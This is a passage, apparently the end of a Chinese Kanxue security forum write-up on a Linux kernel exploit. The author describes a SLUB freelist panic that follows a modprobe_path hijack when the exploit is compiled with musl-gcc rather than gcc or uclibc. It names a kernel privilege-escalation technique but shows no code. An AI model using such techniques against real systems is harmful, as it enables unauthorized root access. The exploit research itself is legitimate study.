造成影响,gcc的可以正常运行,而musl-gcc
在modprobe_path_hijack
后,第一次调用system
时,内核会panic在slub里。execve
申请内存时,寄在了某一个没有修复好的freelist
里,但是我的这种解法,应该是无法修复freelist
的。uclibc
进行编译就成功了。如果有读者了解为什么musl-gcc
编译出来会有这种情况,请务必教教我。看雪ID:Loτυs
https://bbs.kanxue.com/user-home-959503.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看